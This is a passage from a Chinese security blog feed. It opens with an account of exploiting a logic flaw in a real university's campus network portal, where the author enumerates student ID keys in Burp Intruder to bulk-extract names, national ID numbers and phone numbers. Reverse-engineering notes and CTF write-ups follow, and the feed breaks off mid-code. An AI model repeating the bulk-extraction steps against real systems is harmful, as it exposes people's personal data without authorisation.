class="attr">"isPeriodStop"</span>:<span class="number">2</span>,</div><div class="line"> <span class="attr">"policyFrom"</span>:<span class="number">2</span>,</div><div class="line"> <span class="attr">"field3"</span>:<span class="string">"\u662f"</span>,</div><div class="line"> <span class="attr">"field4"</span>:<span class="string">"\u5728\u6821\u5168\u65e5\u5236\u7edf\u62db\u672c\u79d1\u751f"</span>,</div><div class="line"> <span class="attr">"groupinfoId"</span>:<span class="string">"\u672c\u79d1\u751f"</span>,</div><div class="line"> <span class="attr">"campusGroupinfoUuid"</span>:<span class="string">"818181814bf25e97014c4fb7ab207597"</span>,</div><div class="line"> <span class="attr">"campusPolicyFrom"</span>:<span class="number">2</span>,</div><div class="line"> <span class="attr">"campusTemplateUuid"</span>:<span class="string">"40288bf223382853012347bd769c15ca"</span>,</div><div class="line"> <span class="attr">"campusPackageUuid"</span>:<span class="string">"1155073Ef190Ef4CC9fBBD3fA31401B4"</span>,</div><div class="line"> <span class="attr">"campusWebSelfhelpPerUuid"</span>:<span class="string">"4028b621133e18c90113300000000001"</span>, </div><div class="line"> <span class="attr">"haveOperatorsInfo"</span>:<span class="literal">false</span>,</div><div class="line"> <span class="attr">"numOfOperatorsBindInfo"</span>:<span class="number">0</span>,</div><div class="line"> <span class="attr">"canAcctDetail"</span>:<span class="literal">false</span></div><div class="line">}</div></pre></td></tr></table></figure></p><p>里面的汉字数据全部是使用了<code>unicode</code>转换了,重新使用<code>unicode</code>码转汉字即可看到原来的内容。<br><img src="unicode 转汉字" alt=""><br>然后把<code>key=2014xxxx</code>换成<code>key=2015xxxx</code>后,发现返回的数据值也变了<br><strong>尝试批量</strong><br>这里借助这个<code>POST</code>的URL,穷举<code>key=2014xxxx</code>的值可以达到批量提取数据的效果。说到批量可以使用<code>Python</code>来编写脚本,但是我个人觉得不要重复造轮子,<code>BurpSuite</code>本身就可以完全实现<code>脱裤</code>效果,下面是具体的过程演示。</p><h2 id="数据发送到穷举模块"><a href="#数据发送到穷举模块" class="headerlink" title="数据发送到穷举模块"></a>数据发送到穷举模块</h2><p>这一步大家一定很熟悉,右键 数据包 发送 <code>穷举模块</code>,准备进行爆破<br><img src="http://image.3001.net/images/20171118/15109352977769.png" alt=""><br>然后<code>Clear $</code>清除所有的变量,标记<code>key=2014xxx</code>后面的字段,然后<code>Add $</code>。<br><img src="http://image.3001.net/images/20171118/15109353422725.png" alt=""><br>字典这里使用<code>Burp</code>自带的数字字典,从<code>20140110</code>到<code>20140610</code> 500个数据,这里粗略尝试看下效果怎么样。<br><img src="http://image.3001.net/images/20171118/15109353685488.png" alt=""> </p><h2 id="从返回包提取关键数据"><a href="#从返回包提取关键数据" class="headerlink" title="从返回包提取关键数据"></a>从返回包提取关键数据</h2><p>在<code>Intruder</code>模块中转到<code>Options</code>,然后找到<code>Grep-Extract</code>,关于这个功能官方这里给的介绍如下:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">这些设置可以从返回结果的数据包中提取筛选处有用的信息</div></pre></td></tr></table></figure></p><p>好!这正是我们想要的功能,然后<code>Add</code>添加想要的数据,然后直接<code>鼠标标记出来</code>点击<code>ok</code>,这时候,<code>Burp</code>就智能的匹配确认了所要提取的数据信息,这里我添加了<code>userId</code>、<code>userName</code>、<code>certicateNo</code>、<code>mobile</code>分别对应<code>用户id</code>、<code>用户名</code>、<code>身份证号</code>、<code>手机号</code>。<br><img src="http://image.3001.net/images/20171118/15109354454299.png" alt=""><br>设置好这些直接点击<code>Start attack</code>开始攻击。 然后坐等结果列表了。<br><img src="http://image.3001.net/images/20171118/15109354744405.png" alt=""><br>成功拿到结果:<br><img src="http://image.3001.net/images/20171118/15109355834372.png" alt=""> </p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>没错,最后我依然没有绕过上网认证系统去上网,这篇文章纯属是自己误打误撞的产物,不说了,这个月的流量又要超标了。</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171118/15110146581237.png" alt=""><br>记录了最近在南师大对其校园网逻辑漏洞测试中的一些有趣曲折的点<br>
</summary>
<category term="hacker" scheme="http://www.sqlsec.com/categories/hacker/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="逻辑漏洞" scheme="http://www.sqlsec.com/tags/%E9%80%BB%E8%BE%91%E6%BC%8F%E6%B4%9E/"/>
<category term="渗透测试" scheme="http://www.sqlsec.com/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
</entry>
<entry>
<title>PE文件格式</title>
<link href="http://www.sqlsec.com/2017/11/pe.html"/>
<id>http://www.sqlsec.com/2017/11/pe.html</id>
<published>2017-11-04T03:35:27.000Z</published>
<updated>2017-11-04T10:11:01.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20171104/15097896488667.png" alt=""><br><a href="http://www.sqlsec.com/tags/sky/">PW</a>整理学习的PE文件格式,逆向学习笔记记录~<br><a id="more"></a></p><h1 id="介绍"><a href="#介绍" class="headerlink" title="介绍"></a>介绍</h1><p><code>PE</code>文件是<code>Windows</code>操作系统下使用的可执行文件格式。<br>PE文件是指32位的可执行文件,也称为PE32。64位的可执行文件成为<code>PE+</code>或者<code>PE32+</code>,是PE(PE32)文件的一种扩展形式(不是PE64)。</p><h1 id="PE文件格式"><a href="#PE文件格式" class="headerlink" title="PE文件格式"></a>PE文件格式</h1><p><strong>PE文件种类</strong></p><table><thead><tr><th>种类</th><th>主扩展名</th><th>种类</th><th>主扩展名</th></tr></thead><tbody><tr><td>可执行系列</td><td>EXE、SCR</td><td>驱动程序系列</td><td>SYS、VXD</td></tr><tr><td>库系类</td><td>DLL、OCX、CPL、DRV</td><td>对象文件系列</td><td>OBJ</td></tr></tbody></table><h1 id="基本结构"><a href="#基本结构" class="headerlink" title="基本结构"></a>基本结构</h1><p>从<code>DOS</code>头(DOS header)到节区头是PE头部分,其下的节区合称<code>PE</code>体。<br>文件中使用偏移(offset),内存中使用VA(VirtualAddress,虚拟地址)来表示位置。文件加载到内存时,情况就会发生变化(节区的大小、位置等)。文件的内容一般可分为代码(.text)、数据(.data)、资源(.rsrc)节,分别保存。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line">以上是是逆向工程核心原理PE其他的RE题待续。。。</div><div class="line">文件格式的部分笔记,以前就有写过关于PE文件格式的笔记,当时只是简单地记了一下,</div><div class="line">现在重新拾起来。</div><div class="line">待续。。。</div><div class="line">下面是实验吧几道简单的RE题的解题思路,实验吧</div></pre></td></tr></table></figure><hr><h1 id="CFG-to-C"><a href="#CFG-to-C" class="headerlink" title="CFG to C"></a><a href="http://ctf5.shiyanbar.com/reverse/cfg-to-c/index.html" target="_blank" rel="external">CFG to C</a></h1><p>题目如下<br><img src="http://image.3001.net/images/20171015/15080523942745.png" alt=""><br>我们先从A)分析开始:我们可以看到<br><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">modulo</span><span class="params">(<span class="keyword">int</span> a, <span class="keyword">int</span> b)</span></span></div><div class="line"><span class="function"> </span>{</div><div class="line"> <span class="keyword">return</span> b % a;</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>我们从中可以看到关键点是:<code>return b % a ;</code><br>看到之后我们就可以在左侧找对应的选项:<code>4)->A</code>,因为其中有<code>idiv 汇编指令</code>。<br>接下来,我们来分析B),<br><figure class="highlight c"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">int</span> <span class="title">loop</span><span class="params">(<span class="keyword">int</span> a)</span></span></div><div class="line"><span class="function"> </span>{</div><div class="line"> While (a >= <span class="number">0</span>) {</div><div class="line"> a--;</div><div class="line"> }</div><div class="line"> <span class="keyword">return</span> a;</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>看到这个代码,我们首先能获得的信息:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">1.While循环</div><div class="line">2.a>=0 比较判断</div><div class="line">3. a--</div></pre></td></tr></table></figure></p><p>接下来说一下思路:<br>既然是<code>While循环</code>那么对应的汇编代码至少要体现循环,我们发现只有<code>1),3)</code>是符合条件的。继续分析<code>a>=0 比较判断</code>这个信息,发现<br>1)<br><img src="http://image.3001.net/images/20171015/1508053864534.png" alt=""><br>3)<br><img src="http://image.3001.net/images/20171015/15080539827930.png" alt=""><br><code>1) cmp(compare)指令进行比较两个操作数的大小 JNS(结果为正则转移)</code>,<code>3) cmp(compare)指令进行比较两个操作数的大小 jmp是无条件跳转,jl应该是jmp low 是条件跳转中的小于就跳转</code> 就写到这吧,能看懂就懂,不懂的在查资料。那么选项就出来:<code>1)->B 3)->D</code></p><h1 id="Byte-Code"><a href="#Byte-Code" class="headerlink" title="Byte Code"></a>Byte Code</h1><p>题目解压出来是一个<code>Authenticator.class</code>文件<br>一开始,我是懵圈的,作为学Java的竟然不认识.class文件很是羞愧的,后来在下面的提示下有了思路是Java反编译,下一个工具<code>jd-gui</code>就解决问题.</p><p>反编译代码:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> java.io.Console;</div><div class="line"><span class="keyword">import</span> java.io.PrintStream;</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Authenticator</span></span></div><div class="line"><span class="class"></span>{</div><div class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">char</span>[] key;</div><div class="line"></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] paramArrayOfString)</span></span></div><div class="line"><span class="function"> </span>{</div><div class="line"> key = <span class="keyword">new</span> <span class="keyword">char</span>[<span class="number">10</span>];</div><div class="line"> key[<span class="number">0</span>] = <span class="string">'A'</span>;</div><div class="line"> key[<span class="number">1</span>] = <span class="string">'o'</span>;</div><div class="line"> key[<span class="number">2</span>] = <span class="string">'J'</span>;</div><div class="line"> key[<span class="number">3</span>] = <span class="string">'k'</span>;</div><div class="line"> key[<span class="number">4</span>] = <span class="string">'V'</span>;</div><div class="line"> key[<span class="number">5</span>] = <span class="string">'h'</span>;</div><div class="line"> key[<span class="number">6</span>] = <span class="string">'L'</span>;</div><div class="line"> key[<span class="number">7</span>] = <span class="string">'w'</span>;</div><div class="line"> key[<span class="number">8</span>] = <span class="string">'U'</span>;</div><div class="line"> key[<span class="number">9</span>] = <span class="string">'R'</span>;</div><div class="line"> Console localConsole = System.console();</div><div class="line"> String str = <span class="string">""</span>;</div><div class="line"> <span class="keyword">while</span> (!str.equals(<span class="string">"ThisIsth3mag1calString4458"</span>)) {</div><div class="line"> str = localConsole.readLine(<span class="string">"Enter password:"</span>, <span class="keyword">new</span> Object[<span class="number">0</span>]);</div><div class="line"> }</div><div class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < key.length; i++) {</div><div class="line"> System.out.print(key[i]);</div><div class="line"> }</div><div class="line"> System.out.println(<span class="string">""</span>);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p><code>运行结果:</code><br><img src="http://image.3001.net/images/20171015/15080571966422.png" alt=""><br>改过之后的代码:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> java.io.Console;</div><div class="line"><span class="keyword">import</span> java.io.PrintStream;</div><div class="line"></div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Authenticator</span></span></div><div class="line"><span class="class"></span>{</div><div class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">char</span>[] key;</div><div class="line"></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] paramArrayOfString)</span></span></div><div class="line"><span class="function"> </span>{</div><div class="line"> key = <span class="keyword">new</span> <span class="keyword">char</span>[<span class="number">10</span>];</div><div class="line"> key[<span class="number">0</span>] = <span class="string">'A'</span>;</div><div class="line"> key[<span class="number">1</span>] = <span class="string">'o'</span>;</div><div class="line"> key[<span class="number">2</span>] = <span class="string">'J'</span>;</div><div class="line"> key[<span class="number">3</span>] = <span class="string">'k'</span>;</div><div class="line"> key[<span class="number">4</span>] = <span class="string">'V'</span>;</div><div class="line"> key[<span class="number">5</span>] = <span class="string">'h'</span>;</div><div class="line"> key[<span class="number">6</span>] = <span class="string">'L'</span>;</div><div class="line"> key[<span class="number">7</span>] = <span class="string">'w'</span>;</div><div class="line"> key[<span class="number">8</span>] = <span class="string">'U'</span>;</div><div class="line"> key[<span class="number">9</span>] = <span class="string">'R'</span>;</div><div class="line"> Console localConsole = System.console();</div><div class="line"> String str = <span class="string">"ThisIsth3mag1calString4458"</span>;</div><div class="line"> <span class="keyword">while</span> (!str.equals(<span class="string">"ThisIsth3mag1calString4458"</span>)) {</div><div class="line"> str = localConsole.readLine(<span class="string">"Enter password:"</span>, <span class="keyword">new</span> Object[<span class="number">0</span>]);</div><div class="line"> }</div><div class="line"> <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i < key.length; i++) {</div><div class="line"> System.out.print(key[i]);</div><div class="line"> }</div><div class="line"> System.out.println(<span class="string">""</span>);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p>运行结果,在这就不贴出来。</p><h1 id="bitwise"><a href="#bitwise" class="headerlink" title="bitwise"></a>bitwise</h1><p>解压出来是两个文件<code>bitwise.java and bitwise.py</code><br>随便打开一个文件(我打开的是bitwise.java),代码如下:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> java.util.*;</div><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Bit</span> </span>{</div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</div><div class="line"> System.out.print(<span class="string">"Enter Password: "</span>);</div><div class="line"> Scanner s = <span class="keyword">new</span> Scanner(System.in);</div><div class="line"> String user_key = s.next();</div><div class="line"> <span class="keyword">if</span> (user_key.length() != <span class="number">10</span>) {</div><div class="line"> System.out.println(<span class="string">"Wrong"</span>);</div><div class="line"> <span class="keyword">return</span>;</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="keyword">char</span>[] verify_arr = {<span class="number">193</span>, <span class="number">35</span>, <span class="number">9</span>, <span class="number">33</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">3</span>, <span class="number">33</span>, <span class="number">9</span>, <span class="number">225</span>};</div><div class="line"></div><div class="line"> ArrayList<Character> user_arr = <span class="keyword">new</span> ArrayList<Character>();</div><div class="line"> <span class="keyword">char</span>[] user_submitted_arr = user_key.toCharArray();</div><div class="line"></div><div class="line"> <span class="keyword">for</span> (<span class="keyword">char</span> ch : user_submitted_arr) {</div><div class="line"> user_arr.add((<span class="keyword">char</span>)((((ch << <span class="number">5</span>) | (ch >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span>));</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="keyword">int</span> i;</div><div class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < <span class="number">10</span>; i++) {</div><div class="line"> <span class="keyword">if</span> (!user_arr.get(i).equals((<span class="keyword">char</span>)verify_arr[i])) {</div><div class="line"> System.out.println(<span class="string">"Wrong"</span>);</div><div class="line"> <span class="keyword">return</span>;</div><div class="line"> }</div><div class="line"> }</div><div class="line"> System.out.println(<span class="string">"Success"</span>);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p>思路:输入10组数字通过<code>for (char ch : user_submitted_arr) { user_arr.add((char)((((ch << 5) | (ch >> 3)) ^ 111) & 255)); }</code>代码转成asii码与<code>char[] verify_arr = {193, 35, 9, 33, 1, 9, 3, 33, 9, 225}(char)verify_arr[i])</code>的ascii码对比。<br> 一开始我被char类型的,所困惑,后来问一个学长,他的思路是两组都是int数组,只不过是两个数组都加了char类型转换,既然这样,那我们直接通过int类型来解题(暴力破解)。<br> <strong>解题代码:</strong><br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"> <span class="comment">#!/usr/bin/env python</span></div><div class="line"><span class="comment"># -*- coding:utf-8 -*-</span></div><div class="line">zidian =[<span class="string">'{'</span>,<span class="string">'}'</span>,<span class="string">'['</span>,<span class="string">']'</span>,<span class="string">'\''</span>,<span class="string">'|'</span>,<span class="string">';'</span>,<span class="string">':'</span>,<span class="string">'"'</span>,<span class="string">','</span>,<span class="string">'<'</span>,<span class="string">'>'</span>,<span class="string">'.'</span>,<span class="string">'/'</span>,<span class="string">'?'</span>,<span class="string">'0'</span>,<span class="string">'1'</span>,<span class="string">'2'</span>,<span class="string">'3'</span>,<span class="string">'4'</span>,<span class="string">'5'</span>,<span class="string">'6'</span>,<span class="string">'7'</span>,<span class="string">'8'</span>,<span class="string">'9'</span>,<span class="string">'a'</span>,<span class="string">'b'</span>,<span class="string">'c'</span>,<span class="string">'d'</span>,<span class="string">'e'</span>,<span class="string">'f'</span>,<span class="string">'g'</span>,<span class="string">'h'</span>,<span class="string">'i'</span>,<span class="string">'j'</span>,<span class="string">'k'</span>,<span class="string">'l'</span>,<span class="string">'m'</span>,<span class="string">'n'</span>,<span class="string">'o'</span>,<span class="string">'p'</span>,<span class="string">'q'</span>,<span class="string">'r'</span>,<span class="string">'s'</span>,<span class="string">'t'</span>,<span class="string">'u'</span>,<span class="string">'v'</span>,<span class="string">'w'</span>,<span class="string">'x'</span>,<span class="string">'y'</span>,<span class="string">'z'</span>,<span class="string">'A'</span>,<span class="string">'B'</span>,<span class="string">'C'</span>,<span class="string">'D'</span>,<span class="string">'E'</span>,<span class="string">'F'</span>,<span class="string">'G'</span>,<span class="string">'H'</span>,<span class="string">'I'</span>,<span class="string">'J'</span>,<span class="string">'K'</span>,<span class="string">'L'</span>,<span class="string">'M'</span>,<span class="string">'N'</span>,<span class="string">'O'</span>,<span class="string">'P'</span>,<span class="string">'Q'</span>,<span class="string">'R'</span>,<span class="string">'S'</span>,<span class="string">'T'</span>,<span class="string">'U'</span>,<span class="string">'V'</span>,<span class="string">'W'</span>,<span class="string">'X'</span>,<span class="string">'Y'</span>,<span class="string">'Z'</span>,<span class="string">'!'</span>,<span class="string">'!'</span>,<span class="string">'@'</span>,<span class="string">'#'</span>,<span class="string">'$'</span>,<span class="string">'^'</span>,<span class="string">'&'</span>,<span class="string">'*'</span>,<span class="string">'('</span>,<span class="string">')'</span>,<span class="string">'-'</span>,<span class="string">'+'</span>]</div><div class="line">jiami = (int)(input(<span class="string">"请输入被加密后的密文:"</span>))</div><div class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">0</span>,(len(zidian)<span class="number">-1</span>)):</div><div class="line"> g = ( (((ord(zidian[i]) << <span class="number">5</span>) | (ord(zidian[i]) >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span> )</div><div class="line"> <span class="keyword">if</span> (g == jiami):</div><div class="line"> print(<span class="string">"密码原文是"</span>)</div><div class="line"> <span class="keyword">print</span> (zidian[i])</div></pre></td></tr></table></figure></p><p><strong>运行结果:</strong><br><img src="http://image.3001.net/images/20171015/15080594548517.png" alt=""></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">Knowing is not enough; we must apply. Willing is not enough; we must do.”* **(仅仅知道还不够,我们必须付诸实践。仅有意愿还不够,我们必须付诸行动。)</div><div class="line">—— Johann Wolfgang von Goethe</div></pre></td></tr></table></figure><p>需要学习的地方还很多。努力。。</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171104/15097896488667.png" alt=""><br><a href="http://www.sqlsec.com/tags/sky/">PW</a>整理学习的PE文件格式,逆向学习笔记记录~<br>
</summary>
<category term="Reverse" scheme="http://www.sqlsec.com/categories/Reverse/"/>
<category term="sky" scheme="http://www.sqlsec.com/tags/sky/"/>
<category term="逆向" scheme="http://www.sqlsec.com/tags/%E9%80%86%E5%90%91/"/>
</entry>
<entry>
<title>国光的第一个逆向题</title>
<link href="http://www.sqlsec.com/2017/11/bitwise.html"/>
<id>http://www.sqlsec.com/2017/11/bitwise.html</id>
<published>2017-11-03T02:35:27.000Z</published>
<updated>2017-11-03T10:01:26.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20171103/15097032546681.png" alt=""><br><a href="http://www.sqlsec.com/tags/sky/">PW</a>给的一道CTF题,由于实验吧把这一道题目归类于逆向,那么这个就是我国光做出来的第一道”逆向”题目啦<br><a id="more"></a></p><h1 id="题目"><a href="#题目" class="headerlink" title="题目"></a>题目</h1><p>You see the doors to the loading bay of the hangar, but they are locked. However, you are able to extract the password verification program from the control panel… Can you find the password to gain access to the loading bay?<br><strong>翻译</strong><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">你可以看到机库的装货门,但是它们被锁上了。但是,您可以从控制面板中提取密码验证程序…你能找到进入装货港的密码吗?</div></pre></td></tr></table></figure></p><h1 id="附件"><a href="#附件" class="headerlink" title="附件"></a>附件</h1><p><strong>bitwise.py</strong><br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line">user_submitted = raw_input(<span class="string">"Enter Password: "</span>)</div><div class="line"></div><div class="line"><span class="keyword">if</span> len(user_submitted) != <span class="number">10</span>:</div><div class="line"> <span class="keyword">print</span> <span class="string">"Wrong"</span></div><div class="line"> exit()</div><div class="line"></div><div class="line"></div><div class="line">verify_arr = [<span class="number">193</span>, <span class="number">35</span>, <span class="number">9</span>, <span class="number">33</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">3</span>, <span class="number">33</span>, <span class="number">9</span>, <span class="number">225</span>]</div><div class="line">user_arr = []</div><div class="line"><span class="keyword">for</span> char <span class="keyword">in</span> user_submitted:</div><div class="line"> <span class="comment"># '<<' is left bit shift</span></div><div class="line"> <span class="comment"># '>>' is right bit shift</span></div><div class="line"> <span class="comment"># '|' is bit-wise or</span></div><div class="line"> <span class="comment"># '^' is bit-wise xor</span></div><div class="line"> <span class="comment"># '&' is bit-wise and</span></div><div class="line"> user_arr.append( (((ord(char) << <span class="number">5</span>) | (ord(char) >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span> )</div><div class="line"></div><div class="line"><span class="keyword">if</span> (user_arr == verify_arr):</div><div class="line"> <span class="keyword">print</span> <span class="string">"Success"</span></div><div class="line"><span class="keyword">else</span>:</div><div class="line"> <span class="keyword">print</span> <span class="string">"Wrong"</span></div></pre></td></tr></table></figure></p><p><strong>bitwise.java</strong><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> java.util.*;</div><div class="line"></div><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>{</div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">main</span><span class="params">(String[] args)</span> </span>{</div><div class="line"> System.out.print(<span class="string">"Enter Password: "</span>);</div><div class="line"> Scanner s = <span class="keyword">new</span> Scanner(System.in);</div><div class="line"> String user_key = s.next();</div><div class="line"> <span class="keyword">if</span> (user_key.length() == <span class="number">10</span>) {</div><div class="line"> System.out.println(<span class="string">"Wrong"</span>);</div><div class="line"> <span class="keyword">return</span>;</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="keyword">char</span>[] verify_arr = {<span class="number">193</span>, <span class="number">35</span>, <span class="number">9</span>, <span class="number">33</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">3</span>, <span class="number">33</span>, <span class="number">9</span>, <span class="number">225</span>};</div><div class="line"></div><div class="line"> ArrayList<Character> user_arr = <span class="keyword">new</span> ArrayList<Character>();</div><div class="line"> <span class="keyword">char</span>[] user_submitted_arr = user_key.toCharArray();</div><div class="line"> System.out.println(user_submitted_arr.length);</div><div class="line"></div><div class="line"> <span class="keyword">for</span> (<span class="keyword">char</span> ch : user_submitted_arr) {</div><div class="line"> user_arr.add((<span class="keyword">char</span>)((((ch << <span class="number">5</span>) | (ch >> <span class="number">3</span>)) ^ <span class="number">111</span>) & <span class="number">255</span>));</div><div class="line"> System.out.println(user_arr);</div><div class="line"> }</div><div class="line"></div><div class="line"> <span class="keyword">int</span> i;</div><div class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < <span class="number">10</span>; i++) {</div><div class="line"> <span class="keyword">if</span> (!user_arr.get(i).equals((<span class="keyword">char</span>)verify_arr[i])) {</div><div class="line"> System.out.println(<span class="string">"Wrong"</span>);</div><div class="line"> <span class="keyword">return</span>;</div><div class="line"> }</div><div class="line"> }</div><div class="line"> System.out.println(<span class="string">"Success"</span>);</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><p>由于本人<code>Java</code>水平一般般这里就不去解读<code>Java</code>代码了,所以来直接阅读<code>Python</code>代码。 </p><h2 id="简单分析代码"><a href="#简单分析代码" class="headerlink" title="简单分析代码"></a>简单分析代码</h2><p>这里我在源代码基础上 直接加上注释吧,方便阅读<br><figure class="highlight py"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line"><span class="comment">#!/usr/bin/env python</span></div><div class="line">user_submitted = raw_input(<span class="string">"Enter Password: "</span>) </div><div class="line"><span class="comment"># 提示输入密码并记录此刻用户的输入值 用户输入的密码值 存入 user_submitted 变量中</span></div><div class="line"></div><div class="line"><span 